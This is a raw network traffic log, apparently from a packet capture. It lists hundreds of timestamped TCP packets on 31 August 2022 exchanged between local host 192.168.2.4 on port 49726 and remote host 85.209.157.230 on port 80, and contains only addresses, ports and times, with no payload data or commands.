Aug 31, 2022 14:28:35.783746004 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.783759117 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.783788919 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.783802986 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.783823013 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.783850908 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.783868074 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.783885002 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.783914089 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.783926964 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.783940077 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.785437107 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.786227942 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.786266088 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.786303997 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.786309004 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.786339045 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.786343098 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.786379099 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.786417961 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.786418915 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.786458015 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.786499023 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.786500931 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.786539078 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.786540031 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.786561966 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.786653996 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.786681890 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.786709070 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.786724091 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.786737919 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.786760092 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.786778927 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.786793947 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.786813021 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.786823034 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.786849976 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.786878109 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.786890030 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.786906004 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.786916018 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.786935091 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.786964893 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.786983967 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.787002087 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.789488077 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.789561987 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.789586067 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.789621115 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.789702892 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.789731026 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.789747953 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.789763927 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.789777994 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.789798975 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.789835930 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.789865017 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.789881945 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.789906025 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.789911032 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.798782110 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.798827887 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.798873901 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.798902988 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.798907042 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.798932076 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.798957109 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.798959017 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.798986912 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799014091 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799026012 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.799042940 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799053907 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.799072027 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799098969 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799128056 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799139023 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.799155951 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799199104 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.799206018 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799226046 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799247980 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.799252987 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799282074 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799309969 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799321890 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.799336910 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799387932 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799415112 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799434900 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.799443007 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799453974 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.799472094 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799499035 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799509048 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.799525976 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799554110 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799580097 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799592972 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.799607992 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799613953 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.799627066 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799654007 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799683094 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799693108 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.799710035 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799736977 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799765110 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799776077 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.799792051 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799802065 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.799819946 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799846888 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799856901 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.799875021 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799902916 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799930096 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799936056 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.799957037 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.799963951 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.799984932 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.800010920 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.800029993 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.800045967 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.800477028 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.800563097 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.800590038 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.800609112 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.800617933 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.800632954 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.800645113 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.800673008 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.800703049 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.800712109 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.800729990 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.800738096 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.800757885 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.800786018 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.800812960 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.800832987 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.800841093 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.800865889 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.800868034 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.800896883 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.800921917 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.800935984 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.800982952 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.801012039 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.801039934 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.801052094 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.801067114 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.801073074 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.801095963 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.801126957 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.801135063 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.801162004 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.801202059 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.801211119 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.801248074 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.801286936 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.801286936 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.801321030 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.801347971 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.801374912 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.801383018 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.801403999 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.801431894 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.801439047 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.801451921 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.801466942 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.801667929 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.801760912 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.801789999 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.801811934 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.801830053 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.801866055 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.801871061 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.801892996 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.801944017 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.801971912 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.801991940 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.802017927 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.802059889 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.802062035 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.802094936 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.802100897 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.802130938 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.802170992 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.802172899 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.802201033 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.802228928 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.802241087 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.802258015 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.802284002 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.802311897 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.802319050 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.802339077 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.802347898 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.802366018 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.802402020 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.802428961 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.802443027 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.802457094 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.802486897 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.802501917 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.802512884 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.802541971 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.802589893 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.802593946 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.802623034 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.802649975 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.802676916 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.802678108 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.802700043 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.802715063 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.802742004 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.802762985 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.802786112 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.802819014 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.802840948 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.802848101 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.802860975 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.802866936 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.803184986 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.803209066 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.803231955 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.803256035 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.803272963 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.803277016 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.803277969 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.803313971 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.803333998 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.803391933 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.803422928 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.803443909 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.803479910 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.803498983 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.803503990 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.803544044 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.803565979 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.803586006 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.803590059 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.803613901 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.803625107 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.803636074 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.803652048 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.803669930 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.804117918 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.804142952 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.804187059 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.804198980 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.804215908 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.804236889 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.804260969 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.804285049 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.804306030 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.804330111 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.804632902 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.804657936 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.804717064 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.804742098 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.804764986 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.804766893 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.804792881 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.804805994 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.804831028 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.804855108 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.804868937 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.804877996 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.804896116 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.804900885 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.804925919 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.804948092 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.804964066 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.804969072 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.804996967 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.805252075 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.805303097 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.805334091 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.805370092 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.805380106 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.805394888 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.805409908 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.805419922 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.805442095 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.805464983 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.805488110 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.805488110 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.805511951 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.805517912 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.805536032 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.805558920 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.805579901 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.805581093 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.805599928 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.805603981 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.805627108 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.805643082 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.805670977 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.805680037 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.805704117 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.805731058 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.805746078 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.805756092 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.805768967 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.805779934 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.805803061 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.805825949 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.805847883 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.805850983 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.805874109 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.805876970 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.805896044 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.805902004 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.805918932 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.805942059 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.805964947 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.805964947 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.805988073 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.806010962 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.806024075 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.806035042 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.806046009 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.806050062 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.806399107 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.806442022 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.806443930 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.806458950 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.806526899 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.806550980 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.806574106 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.806596041 CEST	49726	80	192.168.2.4	85.209.157.230
